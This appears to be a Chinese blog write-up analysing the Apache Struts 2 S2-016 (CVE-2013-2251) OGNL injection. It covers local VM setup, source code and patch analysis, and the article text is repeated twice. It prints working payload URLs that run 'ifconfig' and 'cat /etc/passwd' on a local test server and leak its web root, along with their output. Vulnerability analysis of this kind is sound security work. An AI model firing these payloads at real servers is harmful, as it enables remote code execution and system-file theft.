[原創]CVE-2013-2251 Apache Struts 2 高危漏洞重現構造及漏洞原理分析
仙果發表於2013-07-19
CVE-2013-2251 Apache Struts 2 高危漏洞重現構造及漏洞原理分析
題記:總喜歡開頭說些廢話,2013年7月17日在安全圈絕對是一個值得紀念日子,由於Apache 直接公開了Struts2 0day漏洞的Poc,並沒有留個各大廠商打補丁的時間,一時間各大網站紛紛中招,有圖可證:
影響範圍太廣太大,直到今天(2013年7月18日)微博上還是在討論這件事情,各種風聲鶴唳。如下連結可以檢視各大微博關於Struts2漏洞的討論:
http://www.baidu.com/s?rtt=2&tn=baiduwb&rn=20&cl=2&wd=struts2
晚上下班到家之後,kanxue大哥電話過來說想讓我分析下這個漏洞,但是確實有些趕鴨子上架,不做Web方面已經很多年,連一些基本的網頁都寫不好,確實難了些,硬著頭皮答應了下來,馬上著手分析。
既然要做原理級的分析,肯定不敢拿網路上的真實伺服器來測試分析,我們還是怕OOXX部門來查水錶,萬一就Game Over!
由於此類漏洞分析的少,而且對作業系統環境也不熟悉,所以此篇文章會盡可能的詳細記錄搭建測試環境和分析過程中遇到的種種問題,相信很多大牛會不屑,還請多多指正,仙果感激不盡!
一、漏洞簡要描述
Apache Struts框架是一個基於Java Servlets,JavaBeans, 和 JavaServer Pages (JSP)的Web應用框架的開源專案。 Apache Struts 2 DefaultActionMapper在處理短路徑重定向引數字首
"action:"/"redirect:"/"redirectAction:"時存在命令執行漏洞,由於對
"action:"/"redirect:"/"redirectAction:"後的URL資訊使用OGNL表示式處理,遠端攻擊者可以利用漏洞提交特殊URL可用於執行任意Java程式碼。
引用自:http://www.venustech.com.cn/NewsInfo/124/21871.Html
Apache Struts2官方關於此漏洞的介紹連結:
http://struts.apache.org/development/2.x/docs/s2-016.html
The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with "action:" or "redirect:", followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms.
從描述資訊中我們可以得到以下資訊:
Struts2的使用範圍非常廣
Struts2 DefaultActionMapper處理段路徑重定向引數字首不嚴謹導致的漏洞
利用漏洞可以執行任意Java程式碼
接下來就是構造測試環境來驗證這個漏洞。
二、測試環境搭建
網上公開的程式碼都是針對Linux系統的,因此我也隨大流安裝一個Linux系統,選擇了最新版的ubuntu 13.04,下載地址是:
http://cdimage.ubuntu.com/ubuntustudio/releases/13.04/release/ubuntustudio-13.04-dvd-i386.iso
虛擬機器安裝又快又好,不得不讚嘆下,而且還給安裝了Vmtools省了不少勁。
1、安裝Tomcat
由於ubuntu 系統整合了JDK,也就省去了安裝JDK的麻煩:
下載完成之後,解壓之:
重新命名:
修改配置檔案:
在如下程式碼之上
新增這部分程式碼:
如圖所示:
最後執行
Tomcat7安裝成功,如圖:
安裝過程基本上沒有遇到什麼大的難題,都是在網上現找的資料,現學現賣安裝Tomcat成功,其中一直找不到openJDK的路徑,請教同事以後透過以下命令找到:
2、配置Struts2
本著分析的目的,下載了已經修補了此漏洞的版本和之前的一個版本,分別是
http://mirror.bit.edu.cn/apache//struts/binaries/struts-2.3.15.1-all.zip(最新版
http://mirror.bit.edu.cn/apache//struts/binaries/struts-2.3.15-all.zip(有漏洞版本)
測試環境使用版本是struts 2.3.15,使用struts2 安裝配置 作為關鍵字進行搜尋,都很簡單,如:http://tech.ddvip.com/2009-07/1248354379126155.html 只介紹了幾句話,讓我無從下手。
先解壓下載回來的zip檔案,.\struts-2.3.15\apps\struts2-blank.war存在這麼一個檔案,根據查詢的資料是struts2的例子,複製到ubuntu虛擬機器中進行解壓複製。
沒有找到jar命令,只能直接解壓到桌面然後移動到tomcat目錄下。必須移動到
目錄下,否則會有404的錯誤,我在這個問題糾結了2個多小時,最後請教別的部門同事才發現移動到了
目錄下,始終不能夠正常顯示。
透過網頁訪問:
http://127.0.0.1:8080/struts2-blank/example/HelloWorld.action
如下圖說明Struts2 成功
三、漏洞測試
測試環境搭建已經搭建成功,現在來測試漏洞是否存在。由於已經公開了POC,免去了再去構造POC的麻煩,可以直接拿來程式碼進行測試。
先來檢視IP地址:
命令回顯如下:
再來看下密碼:
回顯:
爆路徑:
回顯:
上述測試說明struts 2.3.15版本下漏洞是確實存在的。
四 、漏洞原理分析
首先來解析下可利用URL中的有用資訊
URL解碼後為:
Ifconfig 命令很顯然就是真正執行程式碼,相當於二進位制漏洞的ShellCode,應該可以這麼理解,不對之處還請指正。
透過查詢資料,若要驗證漏洞是否存在,可以這麼測試
原理是
當*匹配到一串精心構造的OGNL語句時,會把它放到{1}中,形成OGNL二次執行。
結果如圖:
可以看到{3*4}作為程式碼(OGNL語句)執行,結果傳遞給了{1},構造了12.jsp。說明URL引數中X.action?redirect:${一大串惡意引數},惡意引數被作為程式碼執行,有些類似於遠端程式碼執行,不過威力更大,不需要軟體即可達到這個效果。
現在來看什麼是OGNL?也是查資料而來。
OGNL(Object Graph Navigation Language),是一種表示式語言。使用這種表示式語言,你可以透過某種表示式語法,存取Java物件樹中的任意屬性、呼叫Java物件樹的方法、同時能夠自動實現必要的型別轉化。如果我們把表示式看做是一個帶有語義的字串,那麼OGNL無疑成為了這個語義字串與Java物件之間溝通的橋樑。
URL中使用了多個”#”符號,解釋如下:
#符號的用途一般有三種。
1 訪問非根物件屬性,例如#session.msg表示式,由於Struts 2中值棧被視為根物件,所以訪問其他非根物件時,需要加#字首。實際上,#相當於ActionContext. getContext();#session.msg表示式相當於ActionContext.getContext().getSession(). getAttribute("msg") 。
2 用於過濾和投影(projecting)集合,如persons.{?#this.age>25},persons.{?#this.name=='pla1'}.{age}[0]。
3 用來構造Map,例如示例中的#{'foo1':'bar1', 'foo2':'bar2'}。
知道了X.action?redirect:${一大串惡意引數}中的惡意引數其實為OGNL表示式,透過OGNL表示式的二次執行來觸發漏洞,達到利用的目的。
其次分析漏洞描述資訊,DefaultActionMapper在處理短路徑重定向引數字首
"action:"/"redirect:"/"redirectAction:"時存在命令執行漏洞,從中可以知道,Struts2的DefaultActionMapper模組處理”action”時出現的漏洞,來看看
DefaultActionMapper模組針對三種重定向引數的處理過程。
在路徑:
找到了DefaultActionMapper模組。
定義重定向相關字串變數:
顧名思義定義允許的Action名字,這是一個關鍵點,下面會講到。
再來看是如何處理的:
分析一下處理流程:
1.String name 根據 action的長度取得名字
2.判斷是否為動態執行方法,為True則繼續執行
3.判斷名字中是否有”!”,若有繼續處理,沒有則直接對mapping進行操作,對應程式碼為:
mapping.setName(name);
針對"redirect:"和"redirectAction:"的處理過程大同小異。
有句話是這麼說的,使用者的任何輸入都是惡意的,意思就是說需要對使用者的一切輸入都要進行檢查然後才能進入到程式的執行當中,否則就會出現漏洞。觀察上述程式碼可以發現,程式除了檢查”name”中有沒有存在”!”之外並沒有其他任何檢查,直接呼叫mapping.setName()函式進行賦值,導致了漏洞的產生。
繼續分析程式碼可以發現:
cleanupActionName()函式的作用就是過濾rawActionName中的可疑字元(類似XSS檢測過濾),並且呼叫了之前定義的allowedActionNames,rawActionName只能在
"[a-zA-Z0-9._!/\\-]*"中選擇。但是雖然定義了過濾函式,但是程式碼中確沒有引用到過濾函式,程式設計師的疏忽導致的。
五、補丁分析
已經修補了此漏洞的版本是struts-2.3.15.1,也是最新版本,定位到:
只定義了"action:";,刪除了"redirect:";和"redirect:"的定義和處理函式。
Action的處理程式碼:
可以明顯的看到在呼叫mapping.setName()函式是引用了cleanupActionName()函式對name進行過濾操作。
六、總結
至此CVE-2012-2251漏洞從構造測試環境到分析漏洞成因結束了,來概括下一下漏洞觸發的根本原因,程式設計師在編寫重定向短路徑引數時沒有對引數的內容進行正確的過濾,一些OGNL的特殊字元沒有得到過濾導致可以構造出特殊的OGNL表示式來執行任意程式碼。
分析是分析完成了,但是縱觀整篇分析還是有很多不足之處,在漏洞觸發原理上清楚了,但是程式碼在動態執行的過程並沒有分析明白,還沒有掌握java程式碼的除錯技巧,革命尚未成功,同志仍需努力。
附註:引用資料
Struts2深入學習:OGNL表示式原理
http://developer.51cto.com/art/201203/322509.htm
Java程式設計師從笨鳥到菜鳥之(四十八)細談struts2(十)ognl概念和原理詳解
http://blog.csdn.net/csh624366188/article/details/7550606
struts2 OGNL的用法介紹
http://blog.csdn.net/songylwq/article/details/7568859
Struts2中的OGNL詳解
http://www.cnblogs.com/xly1208/archive/2011/11/19/2255500.html
OGNL表示式struts2標籤“%,#,$”
http://www.blogjava.net/parable-myth/archive/2010/10/28/336353.html
關於struts 2為什麼會有程式碼執行漏洞的小帖子
http://blog.csdn.net/wangyi_lin/article/details/9273903
struts 最新漏洞執行程式碼。
http://www.itkuo.cn/blog/776.html#2367742-tsina-1-79379-ad5670703bfac221da8f7c0184712c13
Apache Struts 2 Documentation
S2-016
http://struts.apache.org/development/2.x/docs/s2-016.html
題記:總喜歡開頭說些廢話,2013年7月17日在安全圈絕對是一個值得紀念日子,由於Apache 直接公開了Struts2 0day漏洞的Poc,並沒有留個各大廠商打補丁的時間,一時間各大網站紛紛中招,有圖可證:
影響範圍太廣太大,直到今天(2013年7月18日)微博上還是在討論這件事情,各種風聲鶴唳。如下連結可以檢視各大微博關於Struts2漏洞的討論:
http://www.baidu.com/s?rtt=2&tn=baiduwb&rn=20&cl=2&wd=struts2
晚上下班到家之後,kanxue大哥電話過來說想讓我分析下這個漏洞,但是確實有些趕鴨子上架,不做Web方面已經很多年,連一些基本的網頁都寫不好,確實難了些,硬著頭皮答應了下來,馬上著手分析。
既然要做原理級的分析,肯定不敢拿網路上的真實伺服器來測試分析,我們還是怕OOXX部門來查水錶,萬一就Game Over!
由於此類漏洞分析的少,而且對作業系統環境也不熟悉,所以此篇文章會盡可能的詳細記錄搭建測試環境和分析過程中遇到的種種問題,相信很多大牛會不屑,還請多多指正,仙果感激不盡!
一、漏洞簡要描述
Apache Struts框架是一個基於Java Servlets,JavaBeans, 和 JavaServer Pages (JSP)的Web應用框架的開源專案。 Apache Struts 2 DefaultActionMapper在處理短路徑重定向引數字首
"action:"/"redirect:"/"redirectAction:"時存在命令執行漏洞,由於對
"action:"/"redirect:"/"redirectAction:"後的URL資訊使用OGNL表示式處理,遠端攻擊者可以利用漏洞提交特殊URL可用於執行任意Java程式碼。
引用自:http://www.venustech.com.cn/NewsInfo/124/21871.Html
Apache Struts2官方關於此漏洞的介紹連結:
http://struts.apache.org/development/2.x/docs/s2-016.html
The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with "action:" or "redirect:", followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms.
從描述資訊中我們可以得到以下資訊:
Struts2的使用範圍非常廣
Struts2 DefaultActionMapper處理段路徑重定向引數字首不嚴謹導致的漏洞
利用漏洞可以執行任意Java程式碼
接下來就是構造測試環境來驗證這個漏洞。
二、測試環境搭建
網上公開的程式碼都是針對Linux系統的,因此我也隨大流安裝一個Linux系統,選擇了最新版的ubuntu 13.04,下載地址是:
http://cdimage.ubuntu.com/ubuntustudio/releases/13.04/release/ubuntustudio-13.04-dvd-i386.iso
虛擬機器安裝又快又好,不得不讚嘆下,而且還給安裝了Vmtools省了不少勁。
1、安裝Tomcat
由於ubuntu 系統整合了JDK,也就省去了安裝JDK的麻煩:
admin001@ubuntu:/usr/local/development/tomcat7/bin$ java -version java version "1.7.0_21" OpenJDK Runtime Environment (IcedTea 2.3.9) (7u21-2.3.9-1ubuntu1) OpenJDK Client VM (build 23.7-b01, mixed mode, sharing) Sudo wget http://apache.fayea.com/apache-mirror/tomcat/tomcat-7/v7.0.42/bin/apache-tomcat-7.0.42.tar.gz
下載完成之後,解壓之:
sudo tar zxvf apache-tomcat-7.0.42.tar.gz
重新命名:
Sudo mv apache-tomcat-7.0.42 tomcat7
修改配置檔案:
Cd tomcat7 Cd bin Sudo gedit catalina.sh (不會使用Vim,汗!!!)
在如下程式碼之上
cygwin=false darwin=false os400=false case "`uname`" in CYGWIN*) cygwin=true;; Darwin*) darwin=true;; OS400*) os400=true;;
新增這部分程式碼:
JAVA_HOME =/etc/java-7-openjdk JAVA_OPTS="-server -Xms512m -Xmx1024m -XX:PermSize=600M -XX:MaxPermSize=600m -Dcom.sun.management.jmxremote"
如圖所示:
最後執行
Sodu ./ startup.sh
Tomcat7安裝成功,如圖:
安裝過程基本上沒有遇到什麼大的難題,都是在網上現找的資料,現學現賣安裝Tomcat成功,其中一直找不到openJDK的路徑,請教同事以後透過以下命令找到:
Sudo find / -name *openjdk*
2、配置Struts2
本著分析的目的,下載了已經修補了此漏洞的版本和之前的一個版本,分別是
http://mirror.bit.edu.cn/apache//struts/binaries/struts-2.3.15.1-all.zip(最新版
http://mirror.bit.edu.cn/apache//struts/binaries/struts-2.3.15-all.zip(有漏洞版本)
測試環境使用版本是struts 2.3.15,使用struts2 安裝配置 作為關鍵字進行搜尋,都很簡單,如:http://tech.ddvip.com/2009-07/1248354379126155.html 只介紹了幾句話,讓我無從下手。
先解壓下載回來的zip檔案,.\struts-2.3.15\apps\struts2-blank.war存在這麼一個檔案,根據查詢的資料是struts2的例子,複製到ubuntu虛擬機器中進行解壓複製。
沒有找到jar命令,只能直接解壓到桌面然後移動到tomcat目錄下。必須移動到
/usr/local/development/tomcat7/webapps
目錄下,否則會有404的錯誤,我在這個問題糾結了2個多小時,最後請教別的部門同事才發現移動到了
/usr/local/development/tomcat7/webapps/ROOT
目錄下,始終不能夠正常顯示。
透過網頁訪問:
http://127.0.0.1:8080/struts2-blank/example/HelloWorld.action
如下圖說明Struts2 成功
三、漏洞測試
測試環境搭建已經搭建成功,現在來測試漏洞是否存在。由於已經公開了POC,免去了再去構造POC的麻煩,可以直接拿來程式碼進行測試。
先來檢視IP地址:
http://127.0.0.1:8080/struts2-blank/example/X.action?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27ifconfig%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}
命令回顯如下:
eth0 Link encap:Ethernet HWaddr 00:0c:29:58:66:9e inet addr:192.168.199.138 Bcast:192.168.199.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fe58:669e/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:40469 errors:0 dropped:0 overruns:0 frame:0 TX packets:23308 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:55069446 (55.0 MB) TX bytes:1421989 (1.4 MB) Interrupt:19 Base address:0x2000 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:1638 errors:0 dropped:0 overruns:0 frame:0 TX packets:1638 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:479063 (479.0 KB) TX bytes:479063 (479.0 KB)
再來看下密碼:
http://127.0.0.1:8080/struts2-blank/example/X.action?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27cat%27,%27/etc/passwd%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}
回顯:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:103::/home/syslog:/bin/false messagebus:x:102:105::/var/run/dbus:/bin/false avahi-autoipd:x:103:106:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false usbmux:x:104:46:usbmux daemon,,,:/home/usbmux:/bin/false dnsmasq:x:105:65534:dnsmasq,,,:/var/lib/misc:/bin/false whoopsie:x:106:111::/nonexistent:/bin/false kernoops:x:107:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false rtkit:x:108:114:RealtimeKit,,,:/proc:/bin/false speech-dispatcher:x:109:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh avahi:x:110:116:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false colord:x:111:118:colord colour management daemon,,,:/var/lib/colord:/bin/false pulse:x:112:119:PulseAudio daemon,,,:/var/run/pulse:/bin/false hplip:x:113:7:HPLIP system user,,,:/var/run/hplip:/bin/false gdm:x:114:121:Gnome Display Manager:/var/lib/gdm:/bin/false saned:x:115:123::/home/saned:/bin/false debian-spamd:x:116:124::/var/lib/spamassassin:/bin/sh admin001:x:1000:1000:test,,,:/home/admin001:/bin/bash
爆路徑:
http://127.0.0.1:8080/struts2-blank/example/X.action?redirect%3A%24{%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29}
回顯:
/usr/local/development/tomcat7/webapps/struts2-blank/
上述測試說明struts 2.3.15版本下漏洞是確實存在的。
四 、漏洞原理分析
首先來解析下可利用URL中的有用資訊
http://127.0.0.1:8080/struts2-blank/example/X.action?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27ifconfig%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}
URL解碼後為:
http://127.0.0.1:8080/struts2-blank/example/X.action?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'ifconfig'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}
Ifconfig 命令很顯然就是真正執行程式碼,相當於二進位制漏洞的ShellCode,應該可以這麼理解,不對之處還請指正。
透過查詢資料,若要驗證漏洞是否存在,可以這麼測試
http://localhost/struts2-blank/example/X.action?action:%25{3*4}
原理是
/usr/local/development/tomcat7/webapps/struts2-blank/WEB-INF/src/example.xml: <action name="*" class="example.ExampleSupport"> <result>/example/{1}.jsp</result> </action>
當*匹配到一串精心構造的OGNL語句時,會把它放到{1}中,形成OGNL二次執行。
結果如圖:
可以看到{3*4}作為程式碼(OGNL語句)執行,結果傳遞給了{1},構造了12.jsp。說明URL引數中X.action?redirect:${一大串惡意引數},惡意引數被作為程式碼執行,有些類似於遠端程式碼執行,不過威力更大,不需要軟體即可達到這個效果。
現在來看什麼是OGNL?也是查資料而來。
OGNL(Object Graph Navigation Language),是一種表示式語言。使用這種表示式語言,你可以透過某種表示式語法,存取Java物件樹中的任意屬性、呼叫Java物件樹的方法、同時能夠自動實現必要的型別轉化。如果我們把表示式看做是一個帶有語義的字串,那麼OGNL無疑成為了這個語義字串與Java物件之間溝通的橋樑。
URL中使用了多個”#”符號,解釋如下:
#符號的用途一般有三種。
1 訪問非根物件屬性,例如#session.msg表示式,由於Struts 2中值棧被視為根物件,所以訪問其他非根物件時,需要加#字首。實際上,#相當於ActionContext. getContext();#session.msg表示式相當於ActionContext.getContext().getSession(). getAttribute("msg") 。
2 用於過濾和投影(projecting)集合,如persons.{?#this.age>25},persons.{?#this.name=='pla1'}.{age}[0]。
3 用來構造Map,例如示例中的#{'foo1':'bar1', 'foo2':'bar2'}。
知道了X.action?redirect:${一大串惡意引數}中的惡意引數其實為OGNL表示式,透過OGNL表示式的二次執行來觸發漏洞,達到利用的目的。
其次分析漏洞描述資訊,DefaultActionMapper在處理短路徑重定向引數字首
"action:"/"redirect:"/"redirectAction:"時存在命令執行漏洞,從中可以知道,Struts2的DefaultActionMapper模組處理”action”時出現的漏洞,來看看
DefaultActionMapper模組針對三種重定向引數的處理過程。
在路徑:
.\struts-2.3.15\src\core\src\main\java\org\apache\struts2\dispatcher\mapper\DefaultActionMapper.java
找到了DefaultActionMapper模組。
定義重定向相關字串變數:
protected static final String METHOD_PREFIX = "method:"; protected static final String ACTION_PREFIX = "action:"; protected static final String REDIRECT_PREFIX = "redirect:"; protected static final String REDIRECT_ACTION_PREFIX = "redirectAction:"; 就是重定向引數字首。
protected Pattern allowedActionNames = Pattern.compile("[a-zA-Z0-9._!/\\-]*");
顧名思義定義允許的Action名字,這是一個關鍵點,下面會講到。
再來看是如何處理的:
put(ACTION_PREFIX, new ParameterAction() { //action處理模組 public void execute(String key, ActionMapping mapping) { String name = key.substring(ACTION_PREFIX.length()); if (allowDynamicMethodCalls) { int bang = name.indexOf('!'); if (bang != -1) { String method = name.substring(bang + 1); mapping.setMethod(method); name = name.substring(0, bang); } } mapping.setName(name); } }); put(REDIRECT_PREFIX, new ParameterAction() { //redirect處理模組 public void execute(String key, ActionMapping mapping) { ServletRedirectResult redirect = new ServletRedirectResult(); container.inject(redirect); redirect.setLocation(key.substring(REDIRECT_PREFIX .length())); mapping.setResult(redirect); } }); put(REDIRECT_ACTION_PREFIX, new ParameterAction() { //redirectAction處理模組 public void execute(String key, ActionMapping mapping) { String location = key.substring(REDIRECT_ACTION_PREFIX .length()); ServletRedirectResult redirect = new ServletRedirectResult(); container.inject(redirect); String extension = getDefaultExtension(); if (extension != null && extension.length() > 0) { location += "." + extension; } redirect.setLocation(location); mapping.setResult(redirect); } });
分析一下處理流程:
1.String name 根據 action的長度取得名字
2.判斷是否為動態執行方法,為True則繼續執行
3.判斷名字中是否有”!”,若有繼續處理,沒有則直接對mapping進行操作,對應程式碼為:
mapping.setName(name);
針對"redirect:"和"redirectAction:"的處理過程大同小異。
有句話是這麼說的,使用者的任何輸入都是惡意的,意思就是說需要對使用者的一切輸入都要進行檢查然後才能進入到程式的執行當中,否則就會出現漏洞。觀察上述程式碼可以發現,程式除了檢查”name”中有沒有存在”!”之外並沒有其他任何檢查,直接呼叫mapping.setName()函式進行賦值,導致了漏洞的產生。
繼續分析程式碼可以發現:
/** * Cleans up action name from suspicious characters * * @param rawActionName action name extracted from URI * @return safe action name */ protected String cleanupActionName(final String rawActionName) {//字串過濾函式 if (allowedActionNames.matcher(rawActionName).matches()) { return rawActionName; } else { if (LOG.isWarnEnabled()) { LOG.warn("Action [#0] does not match allowed action names pattern [#1], cleaning it up!", rawActionName, allowedActionNames); } String cleanActionName = rawActionName; for(String chunk : allowedActionNames.split(rawActionName)) { cleanActionName = cleanActionName.replace(chunk, ""); } if (LOG.isDebugEnabled()) { LOG.debug("Cleaned action name [#0]", cleanActionName); } return cleanActionName; } }
cleanupActionName()函式的作用就是過濾rawActionName中的可疑字元(類似XSS檢測過濾),並且呼叫了之前定義的allowedActionNames,rawActionName只能在
"[a-zA-Z0-9._!/\\-]*"中選擇。但是雖然定義了過濾函式,但是程式碼中確沒有引用到過濾函式,程式設計師的疏忽導致的。
五、補丁分析
已經修補了此漏洞的版本是struts-2.3.15.1,也是最新版本,定位到:
.\struts-2.3.15.1\src\core\src\main\java\org\apache\struts2\dispatcher\mapper\DefaultActionMapper.java程式碼中為
protected static final String METHOD_PREFIX = "method:"; protected static final String ACTION_PREFIX = "action:";
只定義了"action:";,刪除了"redirect:";和"redirect:"的定義和處理函式。
Action的處理程式碼:
put(ACTION_PREFIX, new ParameterAction() { public void execute(String key, ActionMapping mapping) { String name = key.substring(ACTION_PREFIX.length()); if (allowDynamicMethodCalls) { int bang = name.indexOf('!'); if (bang != -1) { String method = name.substring(bang + 1); mapping.setMethod(method); name = name.substring(0, bang); } } mapping.setName(cleanupActionName(name)); } });
可以明顯的看到在呼叫mapping.setName()函式是引用了cleanupActionName()函式對name進行過濾操作。
六、總結
至此CVE-2012-2251漏洞從構造測試環境到分析漏洞成因結束了,來概括下一下漏洞觸發的根本原因,程式設計師在編寫重定向短路徑引數時沒有對引數的內容進行正確的過濾,一些OGNL的特殊字元沒有得到過濾導致可以構造出特殊的OGNL表示式來執行任意程式碼。
分析是分析完成了,但是縱觀整篇分析還是有很多不足之處,在漏洞觸發原理上清楚了,但是程式碼在動態執行的過程並沒有分析明白,還沒有掌握java程式碼的除錯技巧,革命尚未成功,同志仍需努力。
附註:引用資料
Struts2深入學習:OGNL表示式原理
http://developer.51cto.com/art/201203/322509.htm
Java程式設計師從笨鳥到菜鳥之(四十八)細談struts2(十)ognl概念和原理詳解
http://blog.csdn.net/csh624366188/article/details/7550606
struts2 OGNL的用法介紹
http://blog.csdn.net/songylwq/article/details/7568859
Struts2中的OGNL詳解
http://www.cnblogs.com/xly1208/archive/2011/11/19/2255500.html
OGNL表示式struts2標籤“%,#,$”
http://www.blogjava.net/parable-myth/archive/2010/10/28/336353.html
關於struts 2為什麼會有程式碼執行漏洞的小帖子
http://blog.csdn.net/wangyi_lin/article/details/9273903
struts 最新漏洞執行程式碼。
http://www.itkuo.cn/blog/776.html#2367742-tsina-1-79379-ad5670703bfac221da8f7c0184712c13
Apache Struts 2 Documentation
S2-016
http://struts.apache.org/development/2.x/docs/s2-016.html
相關文章
- Apache Struts 再曝高危遠端程式碼執行漏洞2018-08-27Apache
- 使用 Apache APISIX serverless 能力快速攔截 Apache Log4j2 的高危漏洞2021-12-14ApacheAPIServer
- Apache漏洞復現2024-04-06Apache
- Struts2 兩大高危安全漏洞,網站安全再受考驗2013-07-22網站
- 【漏洞預警】Redis 頻發高危漏洞2018-06-23Redis
- 微軟Exchange高危漏洞曝光,請及時更新!2021-03-04微軟
- struts2 漏洞測試工具2013-11-22
- Apache Struts2遠端程式碼執行漏洞(S2-001)復現總結2020-10-06Apache
- struts2架構網站漏洞修復詳情與利用漏洞修復方案2018-12-03架構網站
- 高危漏洞!Apache Log4j 遠端程式碼執行漏洞(附修復建議)2021-12-10Apache
- struts2最近幾個漏洞分析&穩定利用payload2020-08-19
- 高危預警 || 海雲安釋出Apache Log4j2漏洞處置方案2022-03-22Apache
- 【阿菜漏洞復現】DeFi 平臺 MonoX Finance 漏洞分析及復現2021-12-10MonoNaN
- Apache struts2遠端命令執行_CVE-2017-9805(S2-052)漏洞復現2019-07-16Apache
- apache log4j2 漏洞復現linux2022-03-03ApacheLinux
- STRUTS2的getClassLoader漏洞利用2020-08-19
- Apache Tomcat檔案包含漏洞分析2020-02-24ApacheTomcat
- WordPress 3.8.2 cookie偽造漏洞再分析2020-08-19Cookie
- RCE(遠端程式碼執行漏洞)原理及漏洞利用2022-03-17
- Oracle資料庫高危漏洞警告!2015-05-13Oracle資料庫
- Java 7.x爆高危漏洞2012-08-29Java
- 漏洞分析——變數缺陷漏洞及通用異常捕獲宣告缺陷漏洞2021-09-01變數
- (CVE-2019-5786) 漏洞原理分析及利用2020-07-01
- Apache Log4j 2 報高危漏洞,CODING 聯手騰訊安全護衛軟體安全2021-12-16Apache
- Struts2遠端程式碼執行漏洞檢測的原理和程式碼級實現2012-08-20
- [原創]解讀天書----漏洞利用中級技巧的分析2014-02-19
- Apache Shiro 反序列化漏洞分析2021-11-12Apache
- 區塊鏈平臺EOS現系列高危安全漏洞2018-05-29區塊鏈
- CSRF跨站請求偽造漏洞分析2022-02-16
- Spring爆出“核彈”級高危漏洞2022-04-06Spring
- 高危 Bug !Apache Log4j2 遠端程式碼執行漏洞:官方正加急修復中 !2021-12-16Apache
- [原創]CVE-2012-1535 Flash解析特殊格式字型漏洞樣本構造分享2012-10-27
- Apache struts2 namespace遠端命令執行_CVE-2018-11776(S2-057)漏洞復現2019-07-18Apachenamespace
- Ewebeditor最新漏洞及漏洞大全2014-10-09Web
- 【漏洞】OA辦公系統“烽火狼煙”,高危漏洞攻擊爆發2019-09-24
- 邏輯漏洞挖掘之XSS漏洞原理分析及實戰演練 | 京東物流技術團隊2023-09-27
- 網路現JAVA高危漏洞 QQ電腦管家可修復2016-07-05Java
- 任意檔案下載漏洞的介面URL構造分析與討論2021-01-13